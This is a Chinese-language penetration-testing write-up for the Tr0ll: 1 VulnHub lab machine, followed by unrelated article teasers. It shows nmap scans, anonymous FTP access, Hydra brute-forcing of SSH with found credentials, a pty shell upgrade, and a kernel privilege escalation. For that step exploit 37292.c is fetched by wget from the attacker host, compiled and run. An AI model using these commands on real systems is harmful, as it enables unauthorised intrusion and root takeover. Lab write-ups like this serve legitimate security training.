Tr0ll: 1 Vulnhub靶机渗透笔记

Tr0ll: 1

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。

如有侵权请联系我第一时间删除
靶机地址

Tr0ll: 1 ~ VulnHub

信息收集

nmap

主机发现

nmap -sn 192.168.236.128/24

tcp扫描

┌──(observer㉿kali)-[~/Tr0ll]
└─$ nmap -sT 192.168.236.136 -p- --min-rate 10000 -oA tcpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 19:59 CST
Nmap scan report for 192.168.236.136
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds

udp扫描

┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sU 192.168.236.136 --min-rate 10000 -oA udpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:01 CST
Nmap scan report for 192.168.236.136
Host is up (0.00024s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
814/udp   closed unknown
6970/udp  closed unknown
17946/udp closed unknown
19933/udp closed unknown
48078/udp closed unknown
49202/udp closed unknown
MAC Address: 00:0C:29:8C:0A:29 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds

刚刚扫描tcp扫到21ftp,22ssh,80web,现在对这三个端口进行详细的扫描

detail_tcpscan

┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sT -sV -sC -O 192.168.236.136 -p 21,22,80 --min-rate 10000 -oA tcpscan_detail
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:13 CST
Nmap scan report for 192.168.236.136
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.236.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/secret
MAC Address: 00:0C:29:8C:0A:29 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds

漏洞脚本扫描

nmap -script=vuln -p22,21,80 -min-rate 10000 -oA scriptvuln 192.168.236.136

这里不知道什么原因,扫不到东西

攻击面分析&尝试&getshell

那就不管了,主要看一下detail里的东西 这里本来是要先分析一下的,分析ftp的时候直接匿名登陆拿到了一个流量包,看到了一个关键的目录,然后去web渗透拿到了一些凭据,爆破后就ssh,思路就还挺简单的,所以就省略这个分析了

ftp

运行的是 vsftpd (Very Secure FTP Daemon) 3.0.2 版本

运行匿名登录,这个很值得关注:

 ftp-anon: Anonymous FTP login allowed  

在匿名登录的情况下,存在一个名为 lol.pcap 的文件具有读写执行权限 (-rwxrwxrwx),这表示任何连接到FTP服务器的人都可以读取、修改或删除这个文件。这对于安全性来说是一个严重的风险,因为它可能允许未授权的用户上传恶意内容或者修改现有文件。

-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]

ftp连接以明文传输

控制连接是以明文形式进行的。这意味着客户端与服务器之间的命令交互(例如登录、目录更改等)不会被加密。
|      Control connection is plain text

数据连接也将以明文形式进行。这表示当传输文件或目录列表时,这些数据也不会被加密
|      Data connections will be plain text

当我ftp不给用户名进去后,给出一条这样的报错,This FTP server is anonymous only 猜测anonymous就是管理员的username,而我们匿名进去是没有权限执行命令的

在这里插入图片描述

这里还尝试了用root,还是提示只能用anonymous

在这里插入图片描述

那就用anonymous匿名登录吧,提示输入密码,直接回车给他一个空密码,成功连接到了ftp,尝试输入ls ,是ok的 ,过了一会这个ftp就掉了,回头看tcp扫描结果发现 Session timeout in seconds is 600 ,也就是说600秒就会timeout,不过不影响什么

在这里插入图片描述

把这个流量文件下载下来

get lol.pcap

在wireshark中发现了一个secret_stuff.txt

在这里插入图片描述

但我尝试ftp去下载,也尝试web端去路由他,都失败了,那他到底是个什么呢,仔细看wireshark的流量,这里是抓到了request请求下载secret_stuff.txt ,仔细看一下,搞清楚下载过程的流量来源,又一开始我们就知道ftp是以明文传输数据的,既然这里有抓包的流量,也就是说这个响应包里肯定就是明文

在这里插入图片描述

将响应包里的明文拿出来:

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
\n
Sucks, you were so close... gotta TRY HARDER!\n

大概意思就是 好好好,你真是个小机灵鬼,你差不多找到了sup3rs3cr3tdirlol 😛

真遗憾,你差一点就成功了… 还得再加把劲!

这个sup3rs3cr3tdirlol是leet speak风格的文字,其实就是supersecretdirlol超级秘密目录,猜测大概率是一个目录

web

直接访问80端口,是一个欠揍的暴漫表情

在这里插入图片描述

之前tcp扫描提示有/secret,访问一下看看,发现更欠揍了

在这里插入图片描述

目录扫描一下dirsearch和dirb都扫一下,都没有什么发现

在这里插入图片描述

在这里插入图片描述

访问ftp得到的/sup3rs3cr3tdirlol有一个文件,我们wget把他下载到kali

从这里开始我的思路就断了,然后去看了别人的blog。。 QAQ

直接cat一堆乱码不太好看,用strings从二进制文件中提取可打印的字符序列,或许可以看到一些我们想要的线索

在这里插入图片描述

看到Find address 0x0856BF to proceed ,意思让我们去找这个地址来继续,这会是个目录吗?

还真是,给了两个目录,一个用户名,一个passwd

在这里插入图片描述

先下载到kali里,方便用hrdra九头蛇去爆破一下ssh和ftp(这两个都可以登录)

wget http://192.168.236.136/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt
--2024-12-08 23:32:21--  http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt

vim处理一下which_one_lol.txt

┌──(observer㉿kali)-[~/Tr0ll]
└─$ vim which_one_lol.txt                                                                                      
┌──(observer㉿kali)-[~/Tr0ll]
└─$ cat which_one_lol.txt 
maleus
ps-aux
felux
Eagle11
genphlux
usmc8892
blawrg
wytshadow
vis1t0r
overflow
hydra基础用法:

使用语法:hydra 参数 IP地址 服务名
帮助命令:hydra -h
常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]

ftp

sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh 

ssh

sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh 

上面两条指令尝试用Pass.txt里的内容去爆破,都失败了

目录名提示说this_folder_contains_the_password

在这里插入图片描述

直接用这个文件名去ssh 成功拿到ssh的凭据:overflow Pass.txt

sudo hydra -L /YourPath/which_one_lol.txt -p Pass.txt 192.168.236.136 ssh 

在这里插入图片描述

ssh获取初步shell

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu

22端口跑的是一个OpenSSH服务,是6.6.1p1版本,服务器提供了DSARSAECDSAED25519 这几种密钥公钥算法用于主机认证

已经拿到一组凭据了,ssh连接获得初步shell

ssh overflow@192.168.236.136

成功登录

用python提升一下交互性

查询是否有python

dpkg -l | grep python

是有的,而且挺全的

那就用执行这条语句得到一个交互性更好的shell

python -c 'import pty;pty.spawn("/bin/bash")'
Pass.txt
ssh overflow@192.168.236.136

提权

信息收集

想sudo -l查看当前用户权限,但报错了,不允许使用这条命令

那就用uname -a查看一下靶机的内核版本,Linux 3.13.0

overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

这里提供了几种方式来查看linux版本,以及内核版本

$ cat /proc/version    #查看GCC版本号,linux版本号,Ubuntu版本号 
Linux version 3.13.0-32-generic (buildd@roseapple) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014

$ lsb_release -a
No LSB modules are available.        
Distributor ID: Ubuntu               #类别是Ubuntu
Description:    Ubuntu 14.04.1 LTS   #LTS是Long Term Support:长时间支持版本
Release:        14.04                #发行日期或者发行版本号
Codename:       trusty 				#ubuntu的代号名称

$ uname -a    #显示linux 的内核版本和系统是多少位的:X86_64代表系统是64位的
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

#  使用 /etc/lsb-release 或 /etc/os-release 命令

$ cat /etc/os-release
#与 Ubuntu 16.04 及更高版本兼容
#查看信息列表,其中包括您的 Ubuntu 版本号及其版本名称。
#此外,还有一些指向 Ubuntu 网站和资源的链接可以为您提供帮助
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ cat /etc/lsb-release   
#它是为旧系统设计的,因此如果您运行的是过时的 Ubuntu 版本,则可以使用它
#使用该命令将返回更简单的结果,其中显示版本 ID、描述和代号。它不包括链接和 Ubuntu 版本名称
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"

$ cat /etc/issue    
#/etc/issue 文件是基于文本的文档。它包含系统标识数据
#因为该命令不会显示您的 Ubuntu 版本以外的任何内容
Ubuntu 14.04.1 LTS \n \l

$ hostnamectl
#使用 hostnamectl 命令。
#当您要更改系统的主机名时,通常使用此方法。
#但是,它还会返回 Ubuntu 版本和计算机 ID 等信息。
   Static hostname: troll
         Icon name: computer-vm
           Chassis: vm
           Boot ID: e43aaf51725843209b9e700f5eab15f9
  Operating System: Ubuntu 14.04.1 LTS
            Kernel: Linux 3.13.0-32-generic
      Architecture: i686

其中lsb表示(Linux Standard Base):LSB是一套核心标准,它保证了LINUX发行版同LINUX应用程序之间的良好结合,具体地说,它是:
1、一个二进制接口规范,是指应用程序在系统间迁移时不用重新编译,保证应用程序在所有经过认证的LINUX发行版上都具有兼容性。
2、一个测试规范,测试LINUX发行版和LINUX应用程序是否符合LSB标准。
3、搭建遵从LSB规范的应用程序的开发环境。
4、为在纯LSB环境下运行和测试应用程序而提供的运行环境样本。

uname --s 显示内核名字
uname --r 显示内核版本
uname --n 显示网络主机名
uname --p 显示cpu

Exploit查询payload

根据内核版本在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers查找对应的payload,并用searchsploit下载到kali上

searchsploit Linux 3.13.0
searchsploit -m 37292.c

Exp利用

在攻击机上开一个php服务或python服务,都可以

sudo php -S 0:80

这里用到了一个不起眼但是很有用的/tmp目录,参考Linux中最低调、最易让人忽视的tmp目录,原来用处那么大!-腾讯云开发者社区-腾讯云

在Linux操作系统中,tmp目录是一个临时目录,用于存储临时文件。这个目录通常位于根目录下,命名为/tmp。本文将详细介绍Linux中的tmp目录,包括它的作用、权限、使用方法和安全性等方面。

作用

tmp目录用于存储临时文件,这些文件通常是由操作系统或应用程序创建的。这些文件可以是日志文件、临时缓存文件、程序临时文件、打印队列文件等。它们在使用后很快就会被删除,因此/tmp目录通常保持相对较小的大小。

权限

在Linux中,tmp目录的权限通常设置为777(rwxrwxrwx),这意味着任何用户都可以访问和修改该目录中的文件。这是为了方便临时文件的创建和删除。然而,由于/tmp目录通常包含敏感信息,因此一些系统管理员可能会更改其权限以提高安全性。

使用方法

/tmp目录在Linux中被广泛使用。下面是/tmp目录的几个主要用途:

  1. 缓存

/tmp目录通常用于存储临时缓存文件,这些文件可以加速某些操作。例如,浏览器会将下载的文件保存到/tmp目录中,以便更快地访问这些文件。

  1. 打印队列

打印服务通常会将打印任务存储在/tmp目录中。这些文件在打印完成后会自动删除。

  1. 应用程序临时文件

某些应用程序需要在运行期间创建临时文件。例如,视频编辑器需要创建临时文件以存储正在编辑的视频文件。

  1. 日志文件

某些程序会将日志文件保存在/tmp目录中。这些日志文件通常包含程序运行期间的信息,例如错误消息或调试信息。

  1. 其他

/tmp目录还可用于其他临时文件的存储,例如备份文件、邮件附件等。

安全性

尽管/tmp目录通常是一个临时目录,但它也可能包含一些敏感信息,例如密码文件或其他保密数据。因此,在使用/tmp目录时需要注意安全问题。下面是一些有关使用/tmp目录的安全建议:

  1. 避免在/tmp目录中存储敏感信息

尽管/tmp目录通常会自动清理,但为了确保安全,最好避免在其中存储敏感信息。如果必须存储敏感信息,则应考虑将文件加密或将其存储在其他地方。

  1. 定期清理/tmp目录

为了保证安全,建议定期清理/tmp目录。这可以防止/tmp目录被填满,从而导致系统崩溃或无法正常工作。

  1. 限制/tmp目录的权限

由于/tmp目录通常包含敏感信息,一些系统管理员可能会限制其访问权限,以提高安全性。这可以通过更改目录权限或使用安全模块(如SELinux)来实现。

  1. 避免使用/tmp目录作为共享目录

/tmp目录通常是一个临时目录,不应用于共享目录。如果必须在多个计算机之间共享文件,则应使用其他共享目录,例如NFS共享目录或Samba共享目录。

  1. 防止/tmp目录成为攻击者的入口

/tmp目录可能成为攻击者攻击系统的入口。攻击者可能通过/tmp目录中的漏洞来执行恶意代码,因此需要采取一些措施来保护/tmp目录的安全。这可以通过升级系统补丁、安装防病毒软件或使用安全模块等方式实现。

结论

在Linux中,tmp目录是一个重要的临时目录,用于存储临时文件。尽管/tmp目录通常自动清理,但在使用时需要注意安全问题。为了确保安全,建议避免在其中存储敏感信息,定期清理/tmp目录,并限制其访问权限。此外,还应采取一些措施来防止/tmp目录成为攻击者的入口。通过这些措施,可以确保/tmp目录在系统中的安全使用。

在靶机上使用wget从攻击机上下载payload(记得先cd到/tmp)

wget http://192.168.236.128:80/37292.c

将C语言文件编译为二进制文件

cc -o exp 37292.c
或者用gcc
gcc 37292.c -o exp

授权,并执行文件,获取root权限

chmod +x exp

./exp即可提权

定妆照:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/934321.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

23. C++STL 9 (priority_queue的使用和适配实现详解)

⭐本篇重点: 1 priority_queue的使用与底层原理 2 使用容器来适配 priority_queue ⭐本篇代码:c学习 橘子真甜/c-learning-of-yzc - 码云 - 开源中国 (gitee.com) ⭐标⭐是比较重要的部分 目录 一. priority_queue(优先级队列)的…

十四、Pod的升级和回滚

当集群中的某个服务需要升级时,我们需要停止目前与该服务相关的所有Pod,然后下载新版本镜像并创建新的Pod。如果集群规模比较大,则这个工作变成了一个挑战,而且先全部停止然后逐步升级的方式会导致较长时间的服务不可用。Kubernetes提供了滚动升级功能来解决上述问题。 如…

中间件--MongoDB部署及初始化js脚本(docker部署,docker-entrypoint-initdb.d,数据迁移,自动化部署)

一、概述 MongoDB是一种常见的Nosql数据库(非关系型数据库),以文档(Document)的形式存储数据。是非关系型数据库中最像关系型数据库的一种。本篇主要介绍下部署和数据迁移。 在 MongoDB 官方镜像部署介绍中&#xff…

MES系统通过eDrawings Pro API开发图纸批量转换工具,实现3D在线查看

声明:部分代码来源于网络,如有疑问,请联系本人删除。 通过C#结合eDrawings API提供接口,实现图纸转换为换.jpg、.tif、.bmp、.stl、.exe、.html、.zip、.edrw、.eprt 和 .eas格式工具,尤其是.html格式,可以…

Java阶段三06

第3章-第6节 一、知识点 理解MVC三层模型、理解什么是SpringMVC、理解SpringMVC的工作流程、了解springMVC和Struts2的区别、学会使用SpringMVC封装不同请求、接收参数 二、目标 理解MVC三层模型 理解什么是SpringMVC 理解SpringMVC的工作流程 学会使用SpringMVC封装请求…

【计算机网络】期末速成(2)

部分内容来源于网络,侵删~ 第五章 传输层 概述 传输层提供进程和进程之间的逻辑通信,靠**套接字Socket(主机IP地址,端口号)**找到应用进程。 传输层会对收到的报文进行差错检测。 比特流(物理层)-> 数据帧(数据链路层) -> 分组 / I…

word poi-tl 表格功能增强,实现表格功能垂直合并

目录 问题解决问题poi-tl介绍 功能实现引入依赖模版代码效果图 附加(插件实现)MergeColumnData 对象MergeGroupData 类ServerMergeTableData 数据信息ServerMergeTablePolicy 合并插件 问题 由于在开发功能需求中,word文档需要垂直合并表格&…

记一次:使用C#创建一个串口工具

前言:公司的上位机打不开串口,发送的时候设备总是关机,因为和这个同事关系比较好,编写这款软件是用C#编写的,于是乎帮着解决了一下(是真解决了),然后整理了一下自己的笔记 一、开发…

LLama系列模型简要概述

LLama-1(7B, 13B, 33B, 65B参数量;1.4T tokens训练数据量) 要做真正Open的AI Efficient:同等预算下,增大训练数据,比增大模型参数量,效果要更好 训练数据: 书、Wiki这种量少、质量高…

【OpenCV】模板匹配

理论 模板匹配是一种在较大图像中搜索和查找模板图像位置的方法。为此,OpenCV 带有一个函数 cv.matchTemplate() 。它只是在输入图像上滑动模板图像(如在 2D 卷积中),并比较模板图像下的模板和输入图像的补…

从 Zuul 迁移到 Spring Cloud Gateway:一步步实现服务网关的升级

从 Zuul 迁移到 Spring Cloud Gateway:一步步实现服务网关的升级 迁移前的准备工作迁移步骤详解第一步:查看源码第二步:启动类迁移第三步:引入 Gateway 依赖第四步 编写bootstrap.yaml第五步:替换路由配置第六步&#…

网站中的QQ在线客服接入

1. 开通QQ通讯组件 QQ通讯组件官网:https://shang.qq.com 默认未开通通讯组件,登陆上QQ之后会提示开通,点击开通即可 2. 唤起QQ临时会话(对方不是自己的QQ好友也能唤起) 复制链接地址 http://wpa.qq.com/msgrd?v3&…

赋能加速AI应用交付,F5 BIG-IP Next for Kubernetes方案解读

随着AI工作负载的爆炸式增长,服务提供商和企业需要加速计算,以安全高效地在大规模云上交付高性能的AI应用。前段时间,F5公司宣布推出一项全新的创新AI应用交付和应用安全解决方案,即BIG-IP Next for Kubernetes。那么该方案有何性…

域内DNS信息收集

目录 一、查询域内DNS记录 1. 使用 PowerView.ps1 2. 使用 adidnsdump 二、添加域内DNS记录 1. 使用 Invoke-DNSUpdate.ps1 在默认情况下,域内所有用户 都有权限读取 Active Directory 数据库中的 DNS 信息,包括所有记录。这是因为: DNS 记录被视为公共信息,用于解析域…

Odoo :一款免费且开源的食品生鲜领域ERP管理系统

文 / 贝思纳斯 Odoo金牌合作伙伴 引言 提供业财人资税的精益化管理,实现研产供销的融通、食品安全的追踪与溯源,达成渠道的扁平化以及直面消费者的 D2C 等数字化解决方案,以此提升运营效率与核心竞争力,支撑高质量的变速扩张。…

在星闪W63/W63E开发板上运行第一个OpenHarmony程序

目录 引言 demolink示例 程序修改 修改任务堆栈的大小 修改示例程序的build.gn 修改App的build.gn 修改ohos.cmake 修改config.py 编译程序 烧写程序 程序运行 结语 引言 在前面的博文星闪WS63E开发板的OpenHarmony环境构建-CSDN博客中介绍了如何构建W63E开发板的…

Spring——@Autowired和@Configuration注解区别

摘要 本文主要介绍了Spring框架中Autowired和Configuration注解的区别。Autowired用于自动注入依赖,支持属性、构造器和方法注入。Configuration则用于定义配置类,允许在类中使用Bean注解声明Bean。文章详细解释了这两个注解的作用、使用场景和核心特性…

机器学习--张量

机器学习–张量 机器学习的数据结构–张量 张量是机器学习程序中的数字容器,本质上就是各种不同维度的数组,如下图所示。 张量的维度称为轴(axis),轴的个数称为阶(rank) 标量–0D张量 impor…

标记数据集生成模型助力无数据情况下的大模型指令微调

在构建大模型应用时,通常有两种方式来改进效果,一种是构建外部知识库,利用RAG来完成。但RAG并不是万能的,对于特定领域的LLM应用,以及无需示例,就能完成特定任务等场合就需要进行微调。然而,微调…

nvm安装指定版本显示不存在及nvm ls-remote 列表只出现 iojs 而没有 node.js 解决办法

在使用 nvm install 18.20.3 安装 node 时会发现一直显示不存在此版本 Version 18.20.3 not found - try nvm ls-remote to browse available versions.使用 nvm ls-remote 查看可安装列表时发现,列表中只有 iojs 解决方法: 可以使用以下命令查看可安装…